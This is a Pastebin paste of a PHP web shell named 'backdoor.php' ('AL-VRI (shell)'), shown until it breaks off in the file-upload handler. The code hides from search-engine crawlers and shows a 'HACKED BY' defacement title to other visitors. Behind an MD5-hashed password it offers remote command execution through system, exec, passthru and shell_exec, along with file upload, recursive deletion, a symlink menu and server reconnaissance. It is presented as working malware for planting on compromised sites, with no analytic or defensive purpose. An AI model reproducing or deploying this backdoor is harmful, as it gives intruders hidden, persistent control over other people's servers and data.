azisalvriyanto

backdoor.php

Jun 15th, 2018
668
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 62.45 KB | None | 0 0
  1. <?php ob_start(); session_start(); ?><!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <!-- Required meta tags -->
  5.     <meta charset="utf-8">
  6.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7.     <meta name="viewport" content="width=device-width, initial-scale=1">
  8.  
  9.     <!-- Bootstrap CSS -->
  10.     <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  11.     <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" >
  12.     <!-- Optional CSS -->
  13.     <style type="text/css">
  14.         html,
  15.         body {
  16.             background: #282A36;
  17.             color: #FFFFFF;
  18.             font-family: "Courier New";
  19.             font-size: 14px;
  20.             text-align: center;
  21.             height: 100%;
  22.             width: 100%;
  23.             overflow-x: hidden;
  24.             overflow-y: hidden;
  25.         }
  26.  
  27.         .text-hitam {
  28.             color: #000000;
  29.         }
  30.  
  31.         .text-putih {
  32.             color: #FFFFFF;
  33.         }
  34.  
  35.         .text-abu {
  36.             color: #CFCFC2;
  37.         }
  38.  
  39.         .text-merah {
  40.             color: #FF5555;
  41.         }
  42.  
  43.         .text-orange {
  44.             color: #FFB86C;
  45.         }
  46.  
  47.         .text-kuning {
  48.             color: #EFFB7B;
  49.         }
  50.  
  51.         .text-hijau {
  52.             color: #50FA7B;
  53.         }
  54.  
  55.         .text-biru_tua {
  56.             color: #6272A4;
  57.         }
  58.  
  59.         .text-biru_muda {
  60.             color: #8BE9FD;
  61.         }
  62.  
  63.         .text-ungu {
  64.             color: #BD93F9;
  65.         }
  66.  
  67.         a {
  68.             color: #5Ad9E4;
  69.             transition: all 0.4s;
  70.         }
  71.  
  72.         a:hover {
  73.             color: #FF005F;
  74.             text-decoration: none;
  75.         }
  76.  
  77.         input,
  78.         select,
  79.         textarea {
  80.             width: 100%;
  81.             height: 35px;
  82.             margin: 0px;
  83.             padding: 6px;
  84.             border: 0px;
  85.             font-size: 15px;
  86.         }
  87.  
  88.         input[type="password"] {
  89.             background-color: transparent;
  90.             height: 20px;
  91.             padding: 0px;
  92.  
  93.         }
  94.  
  95.         input[type="submit"] {
  96.             background-color: #35353B;
  97.             color: #FFFFFF;
  98.         }
  99.  
  100.         #sidebar input[type="text"],
  101.         #sidebar input[type="file"] {
  102.             background-color: #282A36;
  103.             color: #FFFFFF;
  104.         }
  105.  
  106.         input[type="checkbox"] {
  107.             height: 15px;
  108.             width: 15px;
  109.         }
  110.  
  111.         input[disabled] {
  112.             background-color: #424348;
  113.         }
  114.  
  115.         .table tbody tr:hover {
  116.             background-color: #42444e;
  117.         }
  118.  
  119.         .table thead tr th,
  120.         .table tbody tr td {
  121.             vertical-align: middle;
  122.             padding: 3px;
  123.         }
  124.  
  125.         .table thead tr th {
  126.             text-align: center;
  127.         }
  128.  
  129.         #sidebar {
  130.             position: fixed;
  131.             top: 0;
  132.             left: 0;
  133.             height: 100%;
  134.             width: 300px;
  135.             border-right: 1px solid #33333A;
  136.             background-color: #181920;
  137.             transition: all 0.4s;
  138.         }
  139.  
  140.         #sidebar header {
  141.             margin-top: 50px;
  142.             margin-bottom: 50px;
  143.             color: #FFFFFF;
  144.         }
  145.  
  146.         #sidebar header h1 {
  147.             font-weight: bold;
  148.         }
  149.  
  150.         #sidebar .sidebar-list {
  151.             padding-top: 10px;
  152.             height: calc(100% - 310px);
  153.             white-space: nowrap;
  154.             overflow-x: auto;
  155.             overflow-y: auto;
  156.         }
  157.  
  158.         #sidebar .sidebar-list ul li {
  159.             padding-left: 0px;
  160.             font-size: 16px;
  161.             text-align: left;
  162.         }
  163.  
  164.         #sidebar .sidebar-list ul li a {
  165.             display: block;
  166.             padding: 7px;
  167.             padding-left: 15px;
  168.         }
  169.  
  170.         #sidebar .sidebar-list ul li a:hover {
  171.             background-color: #3E4049;
  172.             color: #FFFFFF;
  173.         }
  174.  
  175.         #sidebar.active {
  176.             width: 150px;
  177.         }
  178.  
  179.         #main {
  180.             margin-left: 300px;
  181.             transition: all 0.4s;
  182.         }
  183.  
  184.         #main.active {
  185.             margin-left: 150px;
  186.         }
  187.  
  188.         #navbar {
  189.             position: fixed;
  190.             height: 228px;
  191.             border-bottom: 1px solid #33333A;
  192.             border-radius: 0px;
  193.             width: calc(100% - 300px);
  194.             text-align: left;
  195.             white-space: nowrap;
  196.             background-color: #42444e;
  197.             transition: all 0.4s;
  198.         }
  199.  
  200.         #navbar .navbar-left {
  201.             width: 100%;
  202.         }
  203.  
  204.         #navbar .navbar-left button {
  205.             position: absolute;
  206.             margin: 93px 20px 20px 20px;
  207.         }
  208.  
  209.         #navbar .navbar-left .container-fluid {
  210.             margin-left: 80px;
  211.             padding: 10px 0px 10px 0px;
  212.             overflow-x: auto;
  213.             overflow-y: hidden;
  214.         }
  215.  
  216.         #navbar .navbar-left .container-fluid header {
  217.             display: none;
  218.         }
  219.  
  220.         #navbar.active {
  221.             width: calc(100% - 150px);
  222.         }
  223.  
  224.         #content {
  225.             position: absolute;
  226.             bottom: 0;
  227.             height: calc(100% - 228px);
  228.             width: calc(100% - 300px);
  229.             padding: 10px;
  230.             overflow-x: auto;
  231.             transition: all 0.4s;
  232.         }
  233.  
  234.         #content input,
  235.         #content textarea {
  236.             margin: 4px;
  237.         }
  238.  
  239.         #content input[type="text"],
  240.         #content select,
  241.         #content textarea {
  242.             color: #000000;
  243.         }
  244.  
  245.         #content textarea {
  246.             height: 200px;
  247.         }
  248.  
  249.         #content pre img {
  250.             width: 100%;
  251.         }
  252.         #content.active {
  253.             width: calc(100% - 150px);
  254.         }
  255.  
  256.         @media (max-width: 720px) {
  257.             #sidebar {
  258.                 width: 90px;
  259.             }
  260.  
  261.             #sidebar .sidebar-list {
  262.                 height: calc(100% - 349px);
  263.             }
  264.  
  265.             #sidebar.active .sidebar-list {
  266.                 height: calc(100% - 310px);
  267.             }
  268.  
  269.             #main {
  270.                 margin-left: 90px;
  271.             }
  272.  
  273.             #navbar {
  274.                 width: calc(100% - 90px);
  275.             }
  276.  
  277.             #content {
  278.                 width: calc(100% - 90px);
  279.             }
  280.         }
  281.  
  282.         @media (max-width: 360px) {
  283.             #sidebar {
  284.                 margin-left: -150px;
  285.                 width: 150px;
  286.             }
  287.  
  288.             #sidebar.active {
  289.                 margin-left: 0px;
  290.             }
  291.  
  292.             #main {
  293.                 margin-left: 0px;
  294.             }
  295.  
  296.             #navbar {
  297.                 height: 77px;
  298.                 width: 100%;
  299.             }
  300.  
  301.             #navbar .navbar-left button {
  302.                 margin-top: 20px;
  303.                 transition: all 0.4s;
  304.             }
  305.  
  306.             #navbar .navbar-left .container-fluid {
  307.                 height: 77px;
  308.                 text-align: center;
  309.                 overflow-x: hidden;
  310.                 transition: all 0.4s;
  311.             }
  312.  
  313.             #navbar .navbar-left .container-fluid header {
  314.                 display: block;
  315.                 transition: all 0.4s;
  316.             }
  317.  
  318.  
  319.             #navbar .navbar-left .container-fluid header h1 {
  320.                 margin-top: 10px;
  321.                 font-weight: bold;
  322.             }
  323.  
  324.             #navbar .navbar-left .container-fluid div {
  325.                 display: none;
  326.             }
  327.  
  328.             #navbar.active {
  329.                 height: 228px;
  330.             }
  331.  
  332.             #navbar.active .navbar-left .container-fluid {
  333.                 height: 228px;
  334.                 overflow-x: auto;
  335.             }
  336.  
  337.             #navbar.active .navbar-left .container-fluid header {
  338.                 display: none;
  339.             }
  340.  
  341.             #navbar.active .navbar-left .container-fluid div {
  342.                 display: block;
  343.             }
  344.  
  345.             #navbar.active .navbar-left button {
  346.                 margin-top: 93px;
  347.             }
  348.  
  349.             #content {
  350.                 height: calc(100% - 77px);
  351.                 width: 100%;
  352.             }
  353.  
  354.             #content.active {
  355.                 height: calc(100% - 228px);
  356.             }
  357.         }
  358.     </style>
  359.  
  360.     <?php
  361.     if (isset($_GET["al"]) && $_GET["al"] == "vri") {
  362.         error_reporting(0);
  363.         set_time_limit(0);
  364.         if(version_compare(PHP_VERSION, "5.3.0", "<")) {
  365.             @set_magic_quotes_runtime(0);
  366.         }
  367.         @clearstatcache();
  368.         @ini_set("error_log",NULL);
  369.         @ini_set("log_errors",0);
  370.         @ini_set("max_execution_time",0);
  371.         @ini_set("output_buffering",0);
  372.         @ini_set("display_errors", 0);
  373.  
  374.         $password = "1e7709da5a292b3021adf92e1406c36d";
  375.  
  376.         if(!empty($_SERVER["HTTP_USER_AGENT"])) {
  377.             $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  378.             if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
  379.                 header("HTTP/1.0 404 Not Found");
  380.                 exit;
  381.             }
  382.         }
  383.  
  384.         echo "<title>".(isset($_SERVER["HTTPS"]) ? "https" : "http")."://".$_SERVER["HTTP_HOST"]." &mdash; AL-VRI (shell)</title>";
  385.     }
  386.     else {
  387.         echo "<title>HACKED BY AL-VRI &mdash; INDONESIA PEOPLE</title>";
  388.     } ?>
  389.  
  390.     <link href="data:image/ico;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAE4AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABPAAAAH/r/9On///////////////////////////////////////////////////////////////////////////n/8sv9//vn///////////////////////////////////////////////////////////////////////////8//jM/v/95v///////////////////////////////////////////////////////////////////////////f/6yv///+X//////////////////////////////////////////////////////////////////////////////cj//v7l///////////////////////////////////////////////////////////////////////////////I/v/45P/////////+/////v////7////+/////v////7////+/////v////7////+/////v////7//////v/4xwAA1eUTAND/GADP/xQAzv8NAMz/CwDM/wwAzP8MAMz/DADM/wwAzP8MAMz/DADM/woAzP8GAMz/AADP/wAA68g1HdvlOyXW/z0o1f8+KtX/PyvV/zwo1P84JNL/NCHR/zMg0f8zINH/MyDR/zMg0f8yH9H/MB3R/y8b1P81GvHINh7b5T4n1/9AKtb/QSzW/0Et1v9CLtb/Qi7W/0Iu1v9BLdb/PyvV/z4q1f8+KtX/PynV/z8p1f8/J9n/Oh/zyDce3OVBKdn/QizX/0Mt1/9ELtf/RC7X/0Qv1/9EL9f/RS/X/0Uv1/9FL9f/RC7X/0Mu1/9CK9b/QSja/zgf88g3HtzmQCXa/0Eo2P9CKtj/QirY/0Mr2P9DK9j/QyvY/0Mr2P9DK9j/QivY/0Iq2P9CKdj/QSfY/0El3P84H/PJNiTX4mJS3/9gUN3/YVHd/2FR3f9hUd3/YVHd/2FR3f9hUd3/YVHd/2FR3f9hUd3/YVHd/2BQ3f9gT+D/LxnywgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAA==" rel="icon" type="image/x-icon">
  391. </head>
  392. <body><?php
  393.     if (isset($_GET["al"]) && $_GET["al"] == "vri") {
  394.         function login() { ?>
  395.  
  396.     <center>
  397.         <table>
  398.             <tr style="text-align: left;">
  399.                 <td style="width: 90px;">SYSTEM</td>
  400.                 <td>:</td>
  401.                 <td>
  402.                     <span class="text-hijau"><?= @php_uname() ?></span>
  403.                 </td>
  404.             </tr>
  405.             <tr style="text-align: left;">
  406.                 <td>SOFTWARE</td>
  407.                 <td>:</td>
  408.                 <td>
  409.                     <span class="text-hijau"><?= $_SERVER["SERVER_SOFTWARE"] ?></span>
  410.                 </td>
  411.             </tr>
  412.             <tr style="text-align: left;">
  413.                 <td>DIRECTORY</td>
  414.                 <td>:</td>
  415.                 <td>
  416.                     <span class="text-hijau"><?= "".$_SERVER["DOCUMENT_ROOT"].$_SERVER["PHP_SELF"]."" ?></span>
  417.                 </td>
  418.             </tr>
  419.             <tr style="text-align: left;">
  420.                 <td>PASSWORD</td>
  421.                 <td>:</td>
  422.                 <td>
  423.                     <form method="POST">
  424.                         <input type="password" class="text-center" name="password">
  425.                     </form>
  426.                 </td>
  427.             </tr>
  428.         </table>
  429.     </center><?php
  430.         if (!empty(($_POST["password"]))) {
  431.             echo "
  432.  
  433.     <span class=\"text-merah\">Enter the correct password!</span>";
  434.         } ?>
  435.  
  436. </body>
  437. </html><?php
  438.             @exit();
  439.         }
  440.  
  441.         if (!isset($_SESSION["login"])) {
  442.             if (
  443.                     (
  444.                         (isset($_POST["password"]) && !empty($_POST["password"]))
  445.                         && !empty($password)
  446.                         && $password == md5($_POST["password"])
  447.                     )
  448.                     || empty($password)
  449.             ) {
  450.                 $_SESSION["login"] = $_SERVER["REMOTE_ADDR"];
  451.             }
  452.             else {
  453.                 login();
  454.             }
  455.         }
  456.  
  457.         function color($string, $option=NULL, $type=NULL, $class_s=NULL) {
  458.             if (
  459.                     $option == "hitam"      ||
  460.                     $option == "putih"      ||
  461.                     $option == "abu"        ||
  462.                     $option == "merah"      ||
  463.                     $option == "orange"     ||
  464.                     $option == "kuning"     ||
  465.                     $option == "hijau"      ||
  466.                     $option == "biru_tua"   ||
  467.                     $option == "biru_muda"  ||
  468.                     $option == "ungu"
  469.                 ) {
  470.                 $x = $option;
  471.             }
  472.             else {
  473.                 $x = "hitam";
  474.             }
  475.  
  476.             if (
  477.                     $type == "bold" ||
  478.                     $type == "italic"
  479.                 ) {
  480.                 $y = " text-".$type;
  481.             }
  482.             else {
  483.                 $y = "";
  484.             }
  485.  
  486.             if (!empty($class_s)) {
  487.                 $z = " ".$class_s;
  488.             }
  489.             else {
  490.                 $z = "";
  491.             }
  492.  
  493.             return "<span class=\"text-".$x.$y.$z."\">".$string."</span>";
  494.         }
  495.  
  496.         function path() {
  497.             if (isset($_GET["directory"])) {
  498.                 if (is_dir($_GET["directory"])) {
  499.                     $directory = str_replace("\\", "/", $_GET["directory"]);
  500.                 }
  501.                 else {
  502.                     $directory = $_GET["directory"];
  503.                 }
  504.             }
  505.             else {
  506.                 $directory = str_replace("\\", "/", getcwd());
  507.             }
  508.  
  509.             @chdir($directory);
  510.  
  511.             return $directory;
  512.         }
  513.  
  514.         function OS() {
  515.             return (substr(strtoupper(PHP_OS), 0, 3) == "WIN") ? "Windows" : "Linux";
  516.         }
  517.  
  518.         function windisk() {
  519.             $letters = "";
  520.             $v = explode("\\", path());
  521.             $v = $v[0];
  522.             foreach(range("A", "Z") as $letter) {
  523.                 $bool = $isdiskette = in_array($letter, array("A"));
  524.                 if(!$bool) $bool = is_dir("$letter:\\");
  525.                 if($bool) {
  526.                     $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
  527.                     if($letter.":" != $v) {
  528.                         $letters .= $letter;
  529.                     }
  530.                     else {
  531.                         $letters .= color(1, 2, $letter);
  532.                     }
  533.                     $letters .= "</a> ]";
  534.                 }
  535.             }
  536.             if(!empty($letters)) {
  537.                 print "Detected Drives $letters<br>";
  538.             }
  539.             if(count($quicklaunch) > 0) {
  540.                 foreach($quicklaunch as $item) {
  541.                     $v = realpath(path(). "..");
  542.                     if(empty($v)) {
  543.                         $a = explode(DIRECTORY_SEPARATOR,path());
  544.                         unset($a[count($a)-2]);
  545.                         $v = join(DIRECTORY_SEPARATOR, $a);
  546.                     }
  547.                     print "<a href='".$item[1]."'>".$item[0]."</a>";
  548.                 }
  549.             }
  550.         }
  551.  
  552.         function command($cmd) {
  553.             if (function_exists("system")) {
  554.                 @ob_start();
  555.                 @system($cmd);
  556.                 $output = @ob_get_contents();
  557.                 @ob_end_clean();
  558.             }
  559.             elseif (function_exists("exec")) {
  560.                 @exec($cmd,$results);
  561.                 $output = "";
  562.                 foreach($results as $result) {
  563.                     $output .= $result;
  564.                 }
  565.             }
  566.             elseif (function_exists("passthru")) {
  567.                 @ob_start();
  568.                 @passthru($cmd);
  569.                 $output = @ob_get_contents();
  570.                 @ob_end_clean();
  571.             }
  572.             elseif (function_exists("shell_exec")) {
  573.                 $output = @shell_exec($cmd);
  574.             }
  575.             else {
  576.                 $output = "";
  577.             }
  578.  
  579.             return $output;
  580.         }
  581.  
  582.         function size($data, $option=NULL) {
  583.             if (is_dir($data)) {
  584.                 if ($option == "total") {
  585.                     $x = disk_total_space($data);
  586.                 }
  587.                 elseif ($option == "free") {
  588.                     $x = disk_free_space($data);
  589.                 }
  590.                 elseif ($option == "used") {
  591.                     $x = disk_total_space($data)-disk_free_space($data);
  592.                 }
  593.                 else {
  594.                     $x = disk_total_space($data);
  595.                 }
  596.  
  597.                 if ($x >= 1073741824) {
  598.                     $y = sprintf("%1.2f",$x/1073741824)." GB";
  599.                 }
  600.                 elseif ($data >= 1048576) {
  601.                     $y = sprintf("%1.2f",$x/1048576)." MB";
  602.                 }
  603.                 elseif ($data >= 1024) {
  604.                     $y = sprintf("%1.2f",$x/1024)." KB";
  605.                 }
  606.                 elseif ($x >= 0) {
  607.                     $y = $x."  B";
  608.                 }
  609.                 else {
  610.                     $y = color("NONE", "merah");
  611.                 }
  612.             }
  613.             elseif (is_file($data)) {
  614.                 $x = filesize($data);
  615.  
  616.                 if ($x >= 1073741824) {
  617.                     $y   = round(($x/1073741824), 2)." GB";
  618.                 }
  619.                 elseif ($x >= 1048576) {
  620.                     $y   = round(($x/1048576), 2)." MB";
  621.                 }
  622.                 elseif ($x >= 1024) {
  623.                     $y   = round(($x/1024), 2)." KB";
  624.                 }
  625.                 elseif ($x >= 0) {
  626.                     $y = round($x, 2)."&nbsp; B";
  627.                 }
  628.                 else {
  629.                     $y = color("NONE", "merah");
  630.                 }
  631.             }
  632.             else {
  633.                 $y = "Undefined";
  634.             }
  635.  
  636.             return $y;
  637.         }
  638.  
  639.         function permission($data, $option=NULL) {
  640.             if (is_dir($data) || is_file($data)) {
  641.                 $x = fileperms($data);
  642.  
  643.                 if (($x & 0xC000) == 0xC000) {
  644.                     $info = 's'; // Socket
  645.                 }
  646.                 elseif (($x & 0xA000) == 0xA000) {
  647.                     $info = 'l'; // Symbolic Link
  648.                 }
  649.                 elseif (($x & 0x8000) == 0x8000) {
  650.                     $info = '-'; // Regular
  651.                 }
  652.                 elseif (($x & 0x6000) == 0x6000) {
  653.                     $info = 'b'; // Block special
  654.                 }
  655.                 elseif (($x & 0x4000) == 0x4000) {
  656.                     $info = 'd'; // Directory
  657.                 }
  658.                 elseif (($x & 0x2000) == 0x2000) {
  659.                     $info = 'c'; // Character special
  660.                 }
  661.                 elseif (($x & 0x1000) == 0x1000) {
  662.                     $info = 'p'; // FIFO pipe
  663.                 }
  664.                 else {
  665.                     $info = 'u'; // Unknown
  666.                 }
  667.                
  668.                 // Owner
  669.                 $info .= (($x & 0x0100) ? 'r' : '-');
  670.                 $info .= (($x & 0x0080) ? 'w' : '-');
  671.                 $info .= (($x & 0x0040) ?
  672.                     (($x & 0x0800) ? 's' : 'x' ) :
  673.                     (($x & 0x0800) ? 'S' : '-'));
  674.                 // Group
  675.                 $info .= (($x & 0x0020) ? 'r' : '-');
  676.                 $info .= (($x & 0x0010) ? 'w' : '-');
  677.                 $info .= (($x & 0x0008) ?
  678.                     (($x & 0x0400) ? 's' : 'x' ) :
  679.                     (($x & 0x0400) ? 'S' : '-'));
  680.                 // World
  681.                 $info .= (($x & 0x0004) ? 'r' : '-');
  682.                 $info .= (($x & 0x0002) ? 'w' : '-');
  683.                 $info .= (($x & 0x0001) ?
  684.                     (($x & 0x0200) ? 't' : 'x' ) :
  685.                     (($x & 0x0200) ? 'T' : '-'));
  686.             }
  687.             else {
  688.                 $info = "u---------";
  689.             }
  690.  
  691.             if ($option == "color") {
  692.                 $info = (!is_writable($data)) ? color($info, "merah") : color($info, "hijau");
  693.             }
  694.  
  695.             return $info;
  696.         }
  697.  
  698.         function usergroup() {
  699.             if(!function_exists("posix_getegid")) {
  700.                 $user["name"]   = @get_current_user();
  701.                 $user["uid"]    = @getmyuid();
  702.                 $user["gid"]    = @getmygid();
  703.                 $user["group"]  = "?";
  704.             }
  705.             else {
  706.                 $uid    = @posix_getpwuid(posix_geteuid());
  707.                 $gid    = @posix_getgrgid(posix_getegid());
  708.  
  709.                 $user["name"]   = $uid["name"];
  710.                 $user["uid"]    = $uid["uid"];
  711.                 $user["group"]  = $gid["name"];
  712.                 $user["gid"]    = $gid["gid"];
  713.             }
  714.  
  715.             return (object) $user;
  716.         }
  717.  
  718.         function delete($target) {
  719.             if (is_dir($target)) {
  720.                 $opendir = @opendir($target);
  721.                 while (($readdir = @readdir($opendir)) != false) {
  722.                     if (($readdir != ".") && ($readdir != "..")) {
  723.                         delete($target."/".$readdir);
  724.                     }
  725.                 }
  726.  
  727.                 @rmdir($target);
  728.             }
  729.             elseif (is_file($target)) {
  730.                 @unlink($target);
  731.             }
  732.         }
  733.  
  734.         $keterangan = array(
  735.                         "sistem"    => @php_uname(),
  736.                         "software"  => $_SERVER["SERVER_SOFTWARE"],
  737.                         "php"       => @phpversion()." on ".php_sapi_name(),
  738.                         "ip"        => array(
  739.                                             "server"    => (!$_SERVER["SERVER_ADDR"]) ? gethostbyname($_SERVER["HTTP_HOST"]) : $_SERVER["SERVER_ADDR"],
  740.                                             "your"      => $_SERVER["REMOTE_ADDR"]
  741.                                         ),
  742.                         "admin"     => $_SERVER["SERVER_ADMIN"],
  743.                         "hdd"       => array(
  744.                                             "used"  => size("/", "used"),
  745.                                             "total" => size("/", "total"),
  746.                                             "free"  => size("/", "free")
  747.                                         ),
  748.                         "user"      => array(
  749.                                             "name"  => usergroup()->name,
  750.                                             "uid"   => usergroup()->uid,
  751.                                             "group" => usergroup()->group,
  752.                                             "gid"   => usergroup()->gid
  753.                                         ),
  754.                         "safemode"  => @ini_get(strtoupper("safe_mode")) == "ON" ? color("ON", "merah") : color("OFF", "kuning"),
  755.                         "library"   => array(
  756.                                             "mysql"         => @function_exists("mysql_connect") ? color("ON", "kuning") : color("OFF", "merah"),
  757.                                             "mssql"         => @function_exists("mssql_connect") ? color("ON", "kuning") : color("OFF", "merah"),
  758.                                             "postgresql"    => @function_exists("pg_connect") ? color("ON", "kuning") : color("OFF", "merah"),
  759.                                             "oracle"        => @function_exists("oci_connect") ? color("ON", "kuning") : color("OFF", "merah"),
  760.                                             "python"        => @command("python --help") ? color("ON", "kuning") : color("OFF", "merah"),
  761.                                             "perl"          => @command("perl --help") ? color("ON", "kuning") : color("OFF", "merah"),
  762.                                             "curl"          => @function_exists("curl_version") ? color("ON", "kuning") : color("OFF", "merah"),
  763.                                             "wget"          => @command("wget --help") ? color("ON", "kuning") : color("OFF", "merah")
  764.                                         ),
  765.                         "dfunction" => !empty($disable_functions = @ini_get("disable_functions")) ? color($disable_functions, "merah") : color("NONE", "kuning")
  766.                     ); ?>
  767.  
  768.     <div id="sidebar">
  769.         <div class="sidebar-header">
  770.             <header>
  771.                 <h1>AL-VRI</h1>
  772.                 <a href="?al=vri&amp;log=out">LOGOUT</a>
  773.             </header>
  774.  
  775.             <form method="POST" enctype="multipart/form-data" action="?al=vri&directory=<?= path() ?>&do=upload">
  776.                 <input type="file" name="filetoupload" required>
  777.                 <input type="submit" value="upload">
  778.             </form>
  779.             <form method="POST" action="?al=vri&directory=<?= path() ?>&do=command">
  780.                 <input type="text" name="command" placeholder="Command..." value="<?= !empty($_POST["command"]) ? $_POST["command"] : "" ?>" required>
  781.                 <input type="submit" value="command">
  782.             </form>
  783.         </div>
  784.  
  785.         <div class="sidebar-list">
  786.             <ul class="list-unstyled">
  787.                 <li>
  788.                     <a href="?al=vri">BERANDA</a>
  789.                 </li>
  790.                 <!-- START  | TAMBAHAN MENU -->
  791.                 <li>
  792.                     <a href="?al=vri&directory=<?= path() ?>&do=symlink">SYMLINK</a>
  793.                 </li>
  794.                 <!-- <li>
  795.                     <a href="?al=vri&directory=&do=[nama menu]">[nama menu]</a>
  796.                 </li> -->
  797.                 <!-- FINISH | TAMBAHAN MENU -->
  798.             </ul>
  799.         </div>
  800.     </div>
  801.  
  802.     <div id="main">
  803.         <div id="navbar" class="navbar">
  804.             <div class="navbar-left">
  805.                 <button type="button" id="toggle-sidebar" class="btn btn-info navbar-btn">
  806.                     <i class="glyphicon glyphicon-align-left"></i>
  807.                 </button>
  808.  
  809.                 <div class="container-fluid">
  810.                     <header>
  811.                         <h1>AL-VRI</h2>
  812.                     </header>
  813.                     <div>
  814.                         SYSTEM: <?= color($keterangan["sistem"], "hijau") ?>
  815.  
  816.                     </div>
  817.                     <div>
  818.                         SOFTWARE: <?= color($keterangan["software"], "hijau") ?>
  819.  
  820.                     </div>
  821.                     <div>
  822.                         PHP: <?= color($keterangan["php"], "hijau") ?>
  823.                     </div>
  824.                     <div>
  825.                         YOUR IP: <?= color($keterangan["ip"]["your"], "hijau") ?> | SERVER IP: <?= color($keterangan["ip"]["server"], "hijau") ?> | ADMIN: <?= color($keterangan["admin"], "hijau") ?>
  826.  
  827.                     </div>
  828.                     <div>
  829.                         HDD: <?= color($keterangan["hdd"]["used"], "hijau") ?>/<?= color($keterangan["hdd"]["total"], "hijau") ?> | FREE : <?= color($keterangan["hdd"]["free"], "hijau") ?>
  830.  
  831.                     </div>
  832.                     <div>
  833.                         USER: <?= color($keterangan["user"]["name"], "hijau") ?>/<?= color($keterangan["user"]["uid"], "hijau") ?> | GROUP: <?= color($keterangan["user"]["group"], "hijau") ?>/<?= color($keterangan["user"]["gid"], "hijau") ?>
  834.  
  835.                     </div>
  836.                     <div>
  837.                         SAFEMODE: <?= $keterangan["safemode"] ?>
  838.  
  839.                     </div>
  840.                     <div>
  841.                         MySQL: <?= $keterangan["library"]["mysql"] ?> | MSSQL: <?= $keterangan["library"]["mssql"] ?> | PostgreSQL: <?= $keterangan["library"]["postgresql"] ?> | Oracle: <?= $keterangan["library"]["oracle"] ?> | Python: <?= $keterangan["library"]["python"] ?> | Perl: <?= $keterangan["library"]["perl"] ?> | CURL: <?= $keterangan["library"]["curl"] ?> | WGET: <?= $keterangan["library"]["wget"] ?>
  842.  
  843.                     </div>
  844.                     <div>
  845.                         DISABLE FUNCITION: <?= $keterangan["dfunction"] ?>
  846.  
  847.                     </div>
  848.                     <div>
  849.                         [ <?= permission(path(), "color") ?> ]
  850.                         <?php
  851.                             if (is_dir(path())) {
  852.                                 $keterangan["directory"] = explode("/", path());
  853.                                 if (count($keterangan["directory"]) != 1) {
  854.                                     $keterangan["directory"]["0"] = "/";
  855.                                 }
  856.  
  857.                                 foreach($keterangan["directory"] as $key => $index) {
  858.                                     echo " <a href=\"?al=vri&directory=";
  859.                                     for ($i=0; $i<=$key ; $i++) {
  860.                                         if ($key == 0) {
  861.                                             echo $keterangan["directory"][$i];
  862.                                         }
  863.                                         else {
  864.                                             if ($i != 0) {
  865.                                                 echo $keterangan["directory"][$i];
  866.                                             }
  867.                                         }
  868.  
  869.                                         if($i != $key) {
  870.                                             echo "/";
  871.                                         }
  872.                                     }
  873.                                     echo "\">".$index;
  874.                                     if ($key != 0 && path() != "/") {
  875.                                         echo "/";
  876.                                     }
  877.                                     echo "</a>";
  878.                                 }
  879.                                 echo (OS() === "Windows") ? windisk() : "";
  880.                             }
  881.                             else {
  882.                                 echo color("Directory ".$_GET["directory"]." is not exists.", "merah");
  883.                             } ?>
  884.  
  885.                     </div>
  886.                 </div>
  887.             </div>
  888.         </div>
  889.  
  890.         <div id="content" class="content">
  891.             <?php
  892.  
  893.         if (isset($_GET["log"]) && $_GET["log"] == "out") {
  894.             unset($_SESSION["login"]);
  895.             session_destroy();
  896.  
  897.             header("Location: ?al=vri");
  898.         }
  899.         elseif (isset($_GET["do"]) && !empty($_GET["do"])) {
  900.             if (is_dir($_GET["directory"])) {
  901.                 $do         = $_GET["do"];
  902.                 $directory  = $_GET["directory"];
  903.  
  904.                 if ($do == "command") {
  905.                     if (!empty($_POST["command"])) {
  906.                         $perintah = $_POST["command"];
  907.                     }
  908.                     else {
  909.                         $perintah = "";
  910.                     }
  911.  
  912.           ?><textarea readonly><?= command($perintah) ?></textarea>
  913.  
  914.             <form method="POST" action="?al=vri&directory=<?= $directory ?>&do=command">
  915.                 <input type="text" name="command" placeholder="Command..." value="<?= $perintah ?>" required>
  916.                 <input type="submit" value="Send">
  917.             </form><?php
  918.                 }
  919.                 elseif ($do == "upload") {
  920.           ?><form method="POST" enctype="multipart/form-data" action="?al=vri&directory=<?= $directory ?>&do=upload">
  921.                 <input type="file" name="filetoupload" required>
  922.                 <input type="submit" value="upload">
  923.             </form><?php
  924.                     if (!empty($_FILES["filetoupload"])) {
  925.                         if(@copy($_FILES["filetoupload"]["tmp_name"], $directory."/".$_FILES["filetoupload"]["name"])) {
  926.                             echo "
  927.  
  928.             ".color($directory."/".$_FILES["filetoupload"]["name"]." uploaded successfully", "kuning");
  929.                         }
  930.                         else {
  931.                             echo "
  932.  
  933.             ".color($directory."/".$_FILES["filetoupload"]["name"]." could not be uploaded", "merah");
  934.                         }
  935.                     }
  936.                     else {
  937.                         echo "
